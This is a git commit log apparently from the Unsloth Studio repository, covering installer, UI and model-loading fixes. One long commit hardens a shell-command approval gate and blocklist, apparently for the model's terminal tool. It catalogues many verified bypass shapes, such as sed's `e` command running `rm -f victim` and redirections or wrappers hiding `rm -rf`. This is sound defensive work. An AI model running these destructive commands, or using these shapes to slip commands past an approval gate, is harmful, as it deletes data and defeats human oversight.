That teardown can never succeed there, because setup.ps1 runs via
unsloth.exe out of that same venv. The same gap also let the shared
dependency pass reinstall torch from PyPI, unpinned, into a GGUF-only
environment.

install_python_stack.py now records the mode in the install manifest and
setup.ps1 reads it back when no env var is exported, then re-exports a
canonical value for the dependency pass (setup.ps1 drops the manifest
before invoking it, so the child cannot repeat the lookup). The key is
additive and MANIFEST_SCHEMA is unchanged, so existing manifests stay
valid and a missing key keeps today's behaviour.

Also:
- read_manifest() caught only OSError, but UnicodeDecodeError is a
  ValueError. That is now on the installer's import path, so a manifest
  re-saved as ANSI or truncated mid-write would abort every install.
- The env predicate now trims surrounding whitespace, matching the
  Python side.
- The Windows update smoke workflow asserts the update leaves the venv
  GGUF-only, which is what would have caught this.

Known follow-up, pre-existing: an install killed between the manifest
drop and the dependency pass leaves no recorded mode, so a later update
still walks the stale-venv path. Closing that needs a marker the
installer never drops.

* Persist no-torch mode in a marker the dependency pass cannot drop

The install manifest alone was not enough. Both setup.ps1 and
install_python_stack.py remove it before every dependency pass, and it is
only rewritten on success, so a no-torch install interrupted in between
left nothing recording the mode. The next update then resolved no-torch
as false, read the expected missing torch as a stale venv, and tried to
delete the environment whose python.exe was running it, which leaves the
install unrepairable from the CLI.

Add .unsloth-no-torch next to the existing .unsloth-studio-owned marker,
written before the pass and cleared when torch is wanted. setup.ps1
writes it as soon as the mode resolves, so the window between the
manifest drop and its own torch install is covered too.

Read order stays manifest key first, then marker, so migrating out of
no-torch is never blocked by a marker an earlier run left behind. Neither
present still reads as "install torch", so nothing changes for installs
made before either existed.

Also adds the AGPL-3.0 header the new test file was missing.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 05:54:25 -07:00
Daniel Han
6818318867
Gate the sed commands that run a shell (#7483)
* Gate the sed commands that run a shell

GNU sed executes a shell through its `e` command, both as a standalone
command (`sed -n '1e CMD' file`) and as an `s///e` flag that runs the
pattern space. It goes through popen(), so it is a literal `sh -c`, but
the terminal scan only ever saw `sed` at command position and treated the
program text as an ordinary argument.

That left `sed -n '1e rm -f victim' /etc/hosts` running with no prompt in
auto mode, and `_find_blocked_commands` returning nothing for it, so the
hard blocklist that applies in every mode missed `rm` as well.

Screens the program the same way the awk arm does. `-e` values are joined
with newlines first, since that is how sed assembles them: `sed -e '1a\'
-e 'e CMD'` appends a literal line and runs nothing, so judging the pieces
separately would prompt on a benign script. The scan then steps over every
region where `e` is data rather than a command: address and substitution
regexes, replacements, `a/i/c` text, `r`/`w` filenames, `b`/`t` labels and
comments. That keeps the common idioms silent, including `:e;N;$!be` loop
labels, `s/e/E/g`, and `s/a/b/we out.txt` where the `e` belongs to the `w`
filename and sed does not execute.

The blocklist scan recurses into a literal `e` payload the same way it
already does for `bash -c`. A bare `e` or an `s///e` can only be prompted,
since what they run is the pattern space, which is input-file text that is
not knowable statically.

Verified against real GNU sed 4.9 rather than the manual: 80 commands run
for real with a marker payload, comparing what sed actually executed
against the classifier, with no mismatches in either direction.

* Close five ways a sed program hid its shell payload

Review found five shapes the first pass missed. All five execute on GNU
sed 4.9, checked by running them rather than reading the manual.

A payload line ending in a backslash continues onto the next line, so the
scan now ends an `e` at an unescaped newline and unescapes the text the way
sed's read_text does. That is what resolves `r''m` back to `rm` for the
blocklist.

A sed comment ends at a real newline, but the terminal scan had already
replaced every newline with `;`, including newlines inside quotes, so
`# comment` swallowed the rest of the program. The sed arm now also sees a
variant where only unquoted newlines become separators, built on a
character-by-character quote scanner rather than a regex: an apostrophe in
a double-quoted word mis-pairs under a regex and inverts the state, which
opened a bypass while this was being written.

Everything attached to `-i` is a backup suffix, so reading `-ifoo` as an
attached `-f` lost the real script. Replaced the shared short-flag helper
with sed's own option grammar, which also fixes `-l 5` and
`--line-length 5` eating the script as their operand.

A sed child of `find -exec` was never recorded, so the blocklist skipped
its payload.

Substituted text splices straight into the program, and an address is as
good a place as any to open `;e CMD`, so a command substitution anywhere
in the program is treated as unresolvable. Scoped to the program: a
substitution in a file operand still runs, a `$(` or backtick inside single
quotes is literal, and parameter and arithmetic expansion are untouched.
The cost is that a substitution used to build a program now asks.

Bounding the -exec walk keeps the blocklist linear; without it a repeated
`-exec sed` line went quadratic.

Verified against real GNU sed across 103 commands run for real, no
mismatch in either direction.

* Fail closed on padded sed lines, and stop gating sed --sandbox

Four more from review, each checked by running it rather than reading the
manual.

The cap that keeps the argument walk linear was itself the bypass: padding
a line with 128 valid options pushes the script past it, and an empty
program read as proof the command only edits text. The budget is now shared
across the sed words on a line, so a lone sed reads its whole argument list
while a line packed with sed words keeps the floor that holds the walk
linear, and overflow fails closed instead of falling through.

The substitution scan counted parentheses without consulting quote state,
so a quoted paren in the substitution body left the span unterminated and
the program never matched. It now balances through the same quote scanner
used elsewhere, since a substitution body reopens quoting.

A wrapper between -exec and its child hid the child from the blocklist.
Following the wrapper also fixes the neighbouring blocked-name check, which
missed find . -exec env rm the same way. The wrapper's own name is still
screened: -exec sudo rm reports both.

sed --sandbox and --posix refuse e outright and exit 1, so gating them was
prompting for something that cannot run. They are now inert, except after
--, where the flag is an input filename and the script still executes.

env -u still hides a child from the blocklist, on this path and at top
level. That is pre-existing and left alone here.

* Resolve the sed program through find, wrappers, globs and variables

Five more from review, each run against real sed rather than read off the
manual.

find's -exec ends at + or ;, but the sed argument walk ran past it into the
next predicate, where a following -exec grep -e safe was read as sed's own
-e and discarded the real script. Stopping at the terminator also removes a
false prompt, since -exec was being parsed as -e xec and inventing a payload.

Hopping a wrapper skipped its name but not an option that takes a separate
operand, so env -u FOO sed returned FOO as the child. The table this file
already keeps for wrapper options covers it, moved up so both layers share
it. That also settles the top level: env -u PATH rm -rf x now reports rm,
as do env --unset, stdbuf -o L and xargs -I {}. Two false positives go with
it, timeout -s KILL 5 rm blaming the signal name and env -u kill blaming a
variable name, while timeout -s KILL 5 kill -9 1 still reports kill.

A program held in a variable was invisible: the assignment regex stops its
value at whitespace, so a program containing a newline never entered the
map in any pass. Resolved at the token level instead, where the value is
already whole. Both the written and the resolved program are screened,
since either can hold the e.

A command-position glob that can resolve to sed is treated as sed. The
auto gate already asks about any unresolved command glob; this is for the
blocklist, which did not know the name.

Inside double quotes a backslash makes the next character literal, so
sed "s/\$(CC)/gcc/" runs no substitution and should never have asked. The
quote scanner now reports an escaped character under its own state.

Left open: on Windows the blocklist lexer keeps quoting in its tokens, so
a multiline program held in a variable resolves there but not to a name
the blocklist reads. The prompt still fires on every platform.

* Ask when the sed program is not a literal we can read

Two from review, and the second one changes the default rather than adding
another case.

sed --sandbox and --posix were being read as disabling e for the whole
invocation. They disable exactly the scripts written after them: sed
compiles each -e as that option is parsed, and the positional script only
after the option list, so sed -e '1e CMD' input --sandbox runs the payload
with no POSIXLY_CORRECT needed. Suppression is now positional. Reading
POSIXLY_CORRECT out of the command text was considered and dropped as
unsound, since export or an outer bash -c puts it somewhere the text does
not show.

A program built by a parameter transformation was invisible: only bare
$NAME and ${NAME} were resolved, so ${p#x } passed through untouched. Rather
than add operators one at a time, a program that still holds a live
expansion after resolution is treated as unreadable and asks. Unhandled
expansion forms are now safe by default instead of silent, which also
closes ${p%Z}, array elements, printf -v, read, and p=$(...) whose binding
shlex had been truncating to a bare $.

Arithmetic is collapsed rather than exempted. It can only ever evaluate to
an integer, so it cannot spell a sed command, but leaving it as written let
"$((c+1))e CMD" read as an append-text command that swallowed the payload.

The cost is that a double-quoted program holding an unassigned variable now
asks: sed "s/$OLD/$NEW/g" f. Measured at 24 of 169 realistic invocations,
all of that one shape. Exempting it would trade enumerating expansion
operators for enumerating assignment forms, and four of the bypasses above
sit outside the assignment pattern, so the blanket rule stays.

Left open: -f prog.sed is still unscreened, since the program is in a file.

* Decide where a sed scan stops by context, not by token text

Four from review, two of them exploiting fixes from earlier rounds.

Stopping the sed walk at a + or ; token read the text after shlex had
already removed its quoting, so a quoted file operand looked exactly like
a find terminator and the scan gave up before the -e that followed. sed
still compiles that -e, because getopt permutes. Termination is now decided
by token index: a separator counts only if it was unquoted, and + or ; only
while a find or fd exec action is open, which is the only place quoting
does not matter. The same shape works with & | ( ) and }, so all of them
are covered.

The assignment map kept the first binding for a name, but the shell uses
the most recent one before the command. Bindings are now ordered and only
those preceding a given sed are folded in, with a later one replacing an
earlier. A value that is not itself literal clears the name rather than
leaving the older literal standing, which would otherwise have dressed an
unread program up as a safe one.

Exhausting the wrapper budget under find -exec returned the same answer as
finding no child at all, so a long enough chain of wrappers hid whatever
followed. It now reports overflow and blocks the chain word. This was
hiding more than sed: the same shape hid a plain rm.

fd spells its exec flags -x, -X, --exec and --exec-batch, none of which
were routed into the nested scan. They are now, but only while a find or
fd word is in scope and no action is already open, so a -x that belongs to
a child command is left alone.

Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.

* Drop the words the shell removes before a command runs

Two from review, both verified to run for real.

A redirection is performed by the shell and never reaches the command, but
the words stayed in the token list and the first of them was taken for
sed's positional script, so the real one behind it was never read.
`sed </dev/null '1e touch MARKER' input` creates the file, and so do the
`>`, `2>`, `2>&1`, `&>`, `>|` and here-string spellings. Redirections are
now recognised as spans and skipped: the target may be glued on, be the
next word, or sit one further along when a punctuation character splits
the operator. A skip is honoured only where sed would take the word as an
argument, so a pending -e/-f/-l value is still read.

The same words also hid a command outright. `> out.txt rm -rf victim` and
`2>&1 rm -rf victim` both really delete, because the redirection target
was read as the command word and the rm behind it landed in argument
position, where the always-on blocklist does not look.

shlex emits a RUN of punctuation characters as one token, so bash's `|&`
matched no separator and a sed scan ran on into the NEXT command, taking
its `-e safe` for the real script and dropping the payload. Any token
built only from those characters now ends an invocation, and a quoted one
is excluded the same way a quoted `';'` already was.

The third item from that review, `-l N` eating the script as its length
operand, was already closed in 9a5cfddb.

Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Read a sed program from what the shell really hands it

Five from an independent review pass, each verified by executing it.

sed joins its -e and -f sources with newlines, but a source boundary also
closes a line continuation open across it. Reading every -e as one
uninterrupted text let an unreadable -f in the middle hide the piece
behind it: `sed -e '1a\' -f /dev/null -e 'e CMD' input` runs CMD while the
same line without the -f only appends text.

A program flag ahead of the positional script makes that word an input
file. One behind it does so only while getopt permutes, and
POSIXLY_CORRECT turns permutation off from outside the command text, so
the positional is now read as a script as well. The suppression that a
flag written first performs is unchanged.

xargs builds the argv of the command behind it, appending what it reads on
stdin and substituting it into an -I placeholder, so the program need not
be in the text at all. A sed whose program is empty or is only the
placeholder is failed closed. The ordinary idioms are untouched: their
program is present and the placeholder stands where the file goes.

Only a word that really changes shell state rebinds a program held in a
variable. An assignment-shaped argument, one inside a subshell and one
used as a command's environment prefix all leave the variable alone, and
recording them replaced a payload with a value bash never assigned. A
conditional assignment after && or || may or may not run, so it clears the
name rather than being guessed at.

Exec-flag forwarding now starts only at a command word. Any token spelled
fd or find used to turn it on, so a -x or -exec in the text after one was
read as an exec flag and its neighbour hard-blocked; `echo fd -x rm` and
`grep fd -x rm file` were refused outright. A command-position glob bash
resolves to find is still recognised.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* Judge a sed program against what getopt and find really do

Seven from review, each verified by executing it.

A redirection is removed wherever it stands, including where an option
value goes, so `sed -n -e >out '1e CMD' input` takes the word behind it as
the script. The skip is now honoured ahead of a pending value rather than
after it. The target of a detached redirection may itself look like an
option or a quoted operator, and the shell hands it to open() either way,
so `sed > --sandbox '1e CMD' input` and its `> ';'` twin no longer leave
that word standing as a sed flag or script. Only a bare operator is
refused, which is a malformed line.

A program flag written behind the positional script and the positional
itself are ALTERNATIVES, since permutation decides which sed compiles and
nothing in the text settles it. They were joined into one program, where an
unterminated command in the one swallowed the other: `-e safe` is an `s`
with delimiter `a` and no closing one, and it ate the payload behind it.
Each source is now scanned on its own.

find closes its batched form at `{} +` only, so a `+` anywhere else is an
ordinary argument it hands the child. Stopping at one threw away the script
behind it. The `;` spellings need no such test: a quoted `';'` and an
escaped `\;` reach find as the same word and it stops at either, which the
`;` twin of that line confirms by not executing.

An `-f` naming a stream (`-`, /dev/stdin, /dev/fd/N) takes the script off
stdin, which the same command line may well supply through a heredoc. That
is ignorance rather than safety, so the sed fails closed. A named program
file is unreadable in a different way and is unchanged.

bash expands the program word before sed is started, so in a directory
holding a suitably named file `sed *` runs whatever that file contains.
A program word carrying an unexpanded glob now fails closed. Quoted
programs expand nothing and a glob among the file operands is not the
program, so ordinary work is untouched.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep command position and quoting intact through the sed scan

Six from review, two of them regressions the previous commit introduced.

Scoping exec-flag forwarding to a command word lost that position at a
shell keyword and across a wrapper's own operands, so `if true; then find
. -exec rm ...` and the `env -u FOO find ...` and `timeout 5 find ...`
shapes stopped blocking rm entirely. Keywords now keep the position and
wrapper options and their operands are stepped over, the way the command
walk already does.

Reading any operator-shaped token as a separator did the opposite: a
QUOTED one is data the command receives, so `printf '%s' '|&' rm` and
`grep '|&' rm file` were refused although they run nothing. The walk now
applies the same quoted-index exclusion the layout pass does, which also
clears the older `printf '%s' ';' rm` false positive.

ANSI-C decoding flattened the word's whitespace, and a sed program ends
its comment at exactly the newline that flattening destroyed. The decoded
text is re-quoted instead, keeping the spaces and the `#` around it, with
the newline standing as a mark so it stays data for whatever command
receives it rather than a place a new one begins.

An assignment inside a function body has not run and may never run, so it
is no longer recorded as the current value; the name is cleared instead,
which is right whether or not the function is later called.

An `-f` taking a process substitution is a generated /dev/fd/N script, and
the lexer ends the invocation at the `(` before the operand is read at
all. A still-pending program operand now fails the sed closed.

Live expansions were compared against the raw command spelling while the
sed program carried the post-lex one, so an escaped expansion read as
already resolved. Both sides are keyed without their escaping, which can
only make a spelling match and so errs closed.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Read the sed program from the word the shell actually passes

Six from review, four of them bypasses and two false alarms.

find rewrites `{}` with the pathname it found before the child ever starts,
so a sed whose whole program is that placeholder was never read. Nested
under xargs it really runs whatever a suitably named file contains. A `{}`
among the file operands, which is the ordinary idiom, is not the program
and is untouched.

A quoted redirection is a word the command receives rather than something
the shell performs, and it was being removed either way, so a `-f` script
file named `>prog` disappeared and took the `-e` behind it out of view.
Quoting is now read from the operator the token opens with, which leaves
`2>'/dev/null'` a redirection with a quoted target.

An apostrophe in an ANSI-C word sent it down the flattening path, which
destroys the newline a sed comment ends at. The apostrophe is re-quoted
the way a shell does it instead.

fd takes the command attached to its short exec option, and only the exact
`-x` and `-X` spellings opened an action, so `-xrm` reached neither layer.
Conversely nothing behind a bare `--` is an option at all, and reading one
there refused `fd -- -x rm`, which merely lists a file.

The set of live expansions covers the whole command, so matching a sed
program against it by text alone attributed an expansion another command
performs to a program that only spells the same thing. Which occurrence it
was decides it now, and single quoting keeps its meaning while double
quoting does not.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the comments this PR added

Every comment kept says why a rule exists and, where the reason is a
real tool behaviour, names the one command that proves it. What went is
narration of the code, the history of how each fix evolved, and the same
mechanism re-explained at each site that uses it: it is stated once at
the definition now and referred to from there.

Docstrings on the private helpers give what they return and the one fact
that is not obvious; the worked examples they carried are in the tests,
which already run them. The longest block is 8 lines, from 19.

229 lines off the diff. No code changed.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 05:49:51 -07:00
Michael Han
2989b178e1
perf(studio): remove quadratic region scan in LaTeX preprocessing (#7538)
findCodeBlockRegions scanned every region found so far for each inline code
match, and accepted inline spans were appended to the same array, making it
quadratic in the number of inline spans. preprocessLaTeX runs on the full
message text every animation frame while streaming and calls it twice.

Fenced and inline matches are both ascending and non-overlapping, so walk the
fenced list with a cursor instead. Only fenced regions can contain an inline
span, so previously accepted inline regions never needed checking.

34,670 chars with 2,100 inline spans: 5.51ms per call to 0.12ms.

Co-authored-by: shimmyshimmer <info@unsloth.ai>
2026-07-28 05:47:48 -07:00
Daniel Han
0d868d32ee
Pin utf-8 on the two marker reads/writes added with the Vulkan backend (#7507)
test_shipping_code_names_an_encoding is red on main. #7373 added
sync_marker_llama_backend, whose read_text/write_text pair does not name
an encoding, so both fall back to locale.getencoding():

  AssertionError: 2 text read/write call sites in shipping code let the
  operator's locale decide the encoding, so they crash or silently
  produce mojibake on Windows. Pass encoding = "utf-8":
  ['studio/install_llama_prebuilt.py:5656: write_text()',
   'studio/install_llama_prebuilt.py:5647: read_text()']

Reproduced on a clean checkout of main at 7917c7828: 1 failed, 7 passed.

That guard landed in #7486 a few commits earlier, so the rule predates
these call sites; nothing about the Vulkan work is wrong beyond the
missing kwarg. The create path that writes the same file, 26 lines above
at 5621, already passes encoding = "utf-8", so main is also internally
inconsistent about one file: written as utf-8, read back under the
operator locale.

Scope, stated honestly: json.dumps defaults to ensure_ascii = True, so
the marker this module writes is pure ASCII and round-trips under cp1252
as well as utf-8. The exposure is a marker produced or edited by
something else. A decode failure on the read would not even surface,
because UnicodeDecodeError subclasses ValueError and the surrounding
except (OSError, ValueError) swallows it into the early return, leaving
the backend silently unsynced. So this restores a green suite and makes
the file self-consistent rather than fixing a live crash.

Verified: tests/test_runtime_text_encoding.py 1 failed / 7 passed before,
8 passed after; tests/test_source_read_encoding.py still passes.
2026-07-28 05:42:46 -07:00
oobabooga
e3ae08eb80
Studio: keep grouped Python scripts visible and save them natively (#7528)
* Studio: keep grouped Python scripts visible and save them natively

* Studio: render the executed Python script outside the card collapsible

Ungrouping the aggregate tool group was not enough on its own. Each Python
card still mounts with defaultOpen={isRunning}, so on a reopened turn the
script and its Copy/Download controls stayed hidden behind the card's own
chevron and the reported issue persisted.

Render ToolCodeCell outside ToolFallbackContent for Python, restoring the
behaviour from #7240 that #7455 folded back inside when it unified the code
cell. Status, output and images still collapse. Terminal keeps its command
inside the collapsible: a one-line command is not the artifact a user reopens
a thread to retrieve, a script is.

Verified against a running Studio: reopening a persisted turn with two
adjacent Python calls now shows both scripts and both Download controls with
no clicks, and Download still saves byte-exact script.py.

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-28 05:41:36 -07:00
Daniel Han
8746b13e76
Studio tests: bump the tensor-abort mtime by 1ms so the case runs on Windows (#7556)
test_tensor_abort_cache_invalidated_on_binary_mtime_change bumped mtime by a
single nanosecond. NTFS stores timestamps as 64-bit FILETIME values in 100ns
ticks, so on Windows that bump rounds away, st_mtime_ns reads back unchanged,
the cache key is identical and the stale abort is inherited, and the assertion
sees True where it wants False.

1ms is still a same-second, sub-second change and is exactly representable, so
the case the test exists to cover actually runs. Skip when the filesystem cannot
record any sub-second change at all rather than asserting product behaviour the
platform cannot exercise.

Not caught before because both jobs in studio-backend-ci.yml are
runs-on: ubuntu-latest, so the studio backend tests only ever run on Linux.
2026-07-28 05:37:55 -07:00
Daniel Han
0e9010c8b9
Installer: name the encoding when syncing the prebuilt marker (#7554)
sync_marker_llama_backend read and wrote UNSLOTH_PREBUILT_INFO.json without an
encoding, so the operator locale decided it and the file could crash or turn to
mojibake on Windows. The sibling helper 15 lines above already passes
encoding = "utf-8"; match it.

This is what test_shipping_code_names_an_encoding has been failing on, and since
that test is a repo-wide AST scan it turns Repo tests (CPU) red on every PR that
touches studio/.
2026-07-28 05:37:39 -07:00
oobabooga
7b048168c8
Studio: match llama.cpp SWA cache sizing (#7530)
* Studio: match llama.cpp SWA cache sizing

* Studio: account for batch-capped SWA ubatch

* Studio: match llama.cpp KV stream padding

* Match llama.cpp batch and FA-off cache sizing

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip unusable compact SWA slot saves

* Align KV planning with launched server

* Match cache type casing and narrow the compact SWA slot-save skip

The launcher tested the requested cache type case-sensitively while the budget
lowercases it via _planned_main_cache_types, so a Q8_0 request emitted no
--cache-type flag and llama.cpp ran f16 while the estimate priced q8_0 (1.01 GiB
under-reserved on a 27B SWA model at ctx 32768 with 4 slots).

The compact SWA slot-save skip keyed on the sliding window alone, but the
estimator's SWA path also requires key/value length. phi3 GGUFs report a window
without those dimensions and llama.cpp runs them non-SWA, so their slots restore
fine and were being skipped.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-28 05:18:15 -07:00
Nilay
7339655c06
Studio: Gate fenced-HTML canvas cards on the Canvas toggle (#7514)
* Studio: escape the NUL part separator so the file diffs as text

* Studio: gate fenced-HTML canvas cards on the Canvas toggle
2026-07-28 05:16:27 -07:00
oobabooga
fc861cc870
Studio: preserve durations across reasoning blocks (#7520)
* Studio: preserve durations across reasoning blocks

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep a reasoning group's timer running when it reopens

A rendered reasoning group can be closed and then reopened: parseAssistantContent
coalesces adjacent reasoning parts, so a provider that emits each block as a
complete <think>...</think> chunk lands several blocks in one group. The tracker
wrote a group's duration once and never revisited it, so such a group froze at
its first close and displayed 0 seconds.

Measure from the first time an index becomes visible rather than from the last
startGroup, and reopen a closed group while its reasoning text is still growing.
Gating on growth is what stops the timer running on into the answer. A duration
supplied by the server is now recorded as authoritative so local timing cannot
overwrite it.

Also fill indices that a single delta skips. startGroup(n) could jump past
earlier indices and leave array holes, which JSON.stringify persists as null; a
skipped group became visible and closed inside the same chunk, so it gets a
measured zero instead.

Test discovery now globs tests/, so a second test file cannot be silently
skipped by CI, and tsconfig.test.json puts tests/ under typecheck for the first
time.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-28 04:53:26 -07:00
Wasim Yousef Said
af2439683a
Fix image and file paste in Studio desktop (#7543)
* Fix Studio desktop clipboard paste

* Address clipboard paste review findings
2026-07-28 13:46:51 +02:00
Daniel Han
c608649552
feat(studio): run chats in parallel in the Chat tab (#7455)
* feat(studio): run chats in parallel in the Chat tab

New Chat used to cancel whatever the current conversation was generating.
It now leaves it running, like switching to the Train or Export tab: the
sidebar shows which chats are still going, and Stop is per conversation.

Plain `unsloth studio` launched llama-server with one decode slot, so the
admission queue serialised every chat regardless of what the UI did. Both
entry points now default to the same slot count as `unsloth studio run`.

A model swap still ends every running chat, since they all decode on one
llama-server. /load and /unload now refuse with 409 and name those chats
unless the caller passes force_cancel_active, and the UI asks first.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): scope the composer tool badge to its own conversation

The green "Running Python: ..." badge above the composer read a single
global store value, so one chat's tool call showed above every other
chat's composer, including a brand-new empty one. Its elapsed counter
also restarted at 0 on every thread switch, and a run ending anywhere
cleared the badge everywhere.

Key the status by thread and store the moment it started, so each
conversation shows only its own tool call and the counter resumes rather
than restarts. Also adds a test that every conversation gets its own
tool sandbox directory, which parallel tool calls depend on.

* Fix stalled tool calls while awaiting approval for PR #7455

Three problems, all from the approval prompt behaving as though only one
chat could ever run.

Arguments were not streamed for a gated call, so the chat stayed blank for
as long as the model took to write the payload, which for a large file is
minutes. Nothing runs before the decision either way, and the code is what
is being approved, so python and terminal now stream their card while
gated. render_html stays suppressed: its card renders the payload.

The status read "Running ..." with a climbing timer while the call had not
started. It now reports that it is waiting for approval, then switches to
running once allowed.

The admission lease was held across the wait, so four unanswered prompts
held all four decode slots and no other chat could start while llama-server
sat idle. A parked run keeps its lease but no longer counts against
capacity.

Measured with four prompts left open: every gated call streamed its code,
none reported running, and a fresh chat answered in 0.4s where it
previously waited 290s and never did.

* Fix duplicated and truncated tool cards for PR #7455

A gated tool call rendered two cards: the provisional one that streams the
arguments, plus a second one keyed by the approval id. Only the second ever
got its tool_end, so the first spun "Running" for the rest of the chat.
Reuse the open part when the approval prompt arrives.

The terminal card also showed nothing but a 60-char trigger label, so a long
heredoc read as no progress at all. It now renders the command the same way
the Python card renders its script, and neither is capped at 10k chars.

Both cells moved inside the collapsible, so one chevron hides the code with
the output and Copy / Download exist only while the card is open. A card
parked on the prompt says so instead of counting up "Running".

* Fix review findings on the parallel-chat gate for PR #7455

Backend:
- /unload rechecks active generations under the lifecycle gate, like /load,
  and lets its 409 through the catch-all instead of rewriting it as a 500.
- /load gates only once _load_model_impl has decided this is a real reload,
  so an Apply on the already-loaded model no longer refuses, and the retry it
  asks for no longer cancels every chat before returning already_loaded.
- The direct /v1/responses stream registers in the cancel registry, so a
  non-forced unload can no longer tear llama-server down under it.
- run_server defaults to the same slot count as the CLI. colab.py calls it
  without the argument, so Colab was still serialising every chat.

Frontend:
- Cancelling a backgrounded chat aborts its own request rather than only
  posting a cancel id, which is the only thing that ends an external-provider
  or audio run.
- The model-swap dialog counts local runs only, and falls back to the backend
  when this tab's map is empty, so a reload or a second tab still gets asked.
- Context usage and the diffusion canvas are scoped to the chat that produced
  them; a compare row reads activity from its member threads.

Tests:
- The extracted-source cancel harnesses supply the active-generations module,
  which the tracked-cancel class now depends on.

* Fix the swap confirmation scope and cancel timing for PR #7455

A forced load cancelled every chat before the model identifier, GPU selection,
training coexistence and download checks had run, so a load that then failed
those checks stopped the chats and replaced nothing. The refusal still happens
early, but the destructive cancel now sits immediately before the teardown it
is paying for, and rechecks under the gate like /unload does.

The swap dialog only reconciled with the backend when this tab looked idle, so
one local chat was enough to hide a second tab's runs. Confirming then sent
force_cancel_active, which cancels every backend run, including the ones the
dialog never mentioned. The backend snapshot is now merged in every time, so
the dialog names what will actually stop. External-provider runs are never
registered there, so the union stays local-only.

Also drops the active-generations docstring claim about restoring sidebar
spinners, which nothing consumes.

* Defer destructive cancels and track every local stream for PR #7455

/unload cancelled the running chats before it had resolved that it unloads
anything. A stale model_path, which a second tab produces routinely, killed
every chat and then no-opped, leaving the resident model up. It now refuses
early and cancels only at each teardown, matching /load.

The swap dialog also stopped every chat locally the moment the user confirmed,
which threw away the two-phase backend behaviour: a load that then failed
identifier resolution, GPU validation or the training guard had already
truncated the replies. The backend now owns the cancel.

Three local streams decoded on llama-server without registering, so a
non-forced unload counted zero generations and tore the server down mid
response: /v1/completions streaming, and the plain and server-tool Anthropic
streams, the first of which is the default /v1/messages path. Note this makes
a non-forced load return 409 during those runs rather than draining quietly,
the same trade the /v1/responses fix made.

The safetensors tool loop still announced a gated call as running while it
waited on a human; only the GGUF loop had been fixed. A source-level parity
test now pins both.

Also drops stopAllChatThreads, which has no callers left.

* Studio: close three load/unload gate races found in review

Re-check the in-flight load guard after the stop-running-chats confirm.
The confirm always GETs active-generations before its zero-running
early-out, so the guard no longer sits atomically ahead of the
reservation and two picks in that window both reached performLoad over
the same refs. ejectModel had the same shape and gets the same re-check.

Reject a sidecar swap immediately before the forced cancel in both load
branches. The previous check was back at the top of preflight, so an
install reserving during identifier resolution, the tier probe, the
training guard or the download check made the post-drain recheck 409 a
load whose chats had already been stopped.

Enter the Anthropic passthrough's cancel tracker inside its body
generator. It was entered eagerly and returned through
_sse_streaming_response, which sets no unstarted_cleanup, so a response
whose body never started left the run registered forever and 409'd every
later non-forced load and unload.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments across the files this PR touches

Tightens the comments and doc blocks in the backend, CLI, tests and frontend
files changed by this PR: collapses multi-line explanations to a single line
where they still read clearly, and drops the ones the code already says.

No code changes, verified by an AST comparison against the previous commit.

* Studio: defer the destructive cancel and close two gate gaps

Move the forced cancel behind every check that can still reject a swap.
The drain now runs first with the runs it is about to cancel discounted,
so it waits only for inference the cancel cannot end, then the sidecar
check decides, then the cancel fires, then a second drain lets those runs
unwind before teardown. A sidecar install reserving during the drain no
longer 409s a load whose chats have already been stopped.

Track the non-streaming /v1/completions proxy. It was the last local
decode path missing from active_generations, so an unload, which runs no
drain, tore llama-server down under it and force_cancel_active could not
signal it. It now uses the same tracked cancel event and dedicated client
as the OpenAI pass-through.

Skip the client's preliminary unload while chats are generating and let
/load evict at its own post-preflight point instead. Forwarding
force_cancel_active there truncated replies before identifier
resolution, the GPU and training guards and the download check had run.

Keep per-thread context usage so returning to a chat whose background run
finished restores its bar instead of leaving it blank until the next turn.

Make the running-flag clear run-specific. Every run without a resolved
thread id shares the "__default" key, so concurrent compare panes could
clear each other's flag and strand a live stop handle.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: register the embeddings proxy with the swap gate

/v1/embeddings proxied straight through the pooled client with no tracked
cancel event, so it never appeared in active_generations. /unload runs no
idle drain, so a concurrent non-forced unload counted zero generations and
killed llama-server mid-request, and force_cancel_active had no event to
signal. Mirrors the completions proxy: tracked event, dedicated unpooled
client closed by a cancel/disconnect watcher, unregister in a nested
finally so a close failure cannot leave a phantom generation behind.

* Trim comments on the newest changes in this PR

Comments only, no code changes: shorten the ones added by the load-gate
ordering, embeddings and per-thread usage work down to the same density as
the rest of the diff.

* Studio: register the legacy generate stream with the swap gate

/generate/stream built a cancel event but never entered the tracker, so it
was invisible to active_generations. Being in the keep-warm middleware's
inference suffixes only covers /load, which drains; /unload does not, so a
non-forced unload passed the 409 gate and then blocked on the standard
backend's generation lock, and a forced swap had no event to signal.
Registered inside the body generator under a nested finally so a teardown
failure cannot skip the unregister.

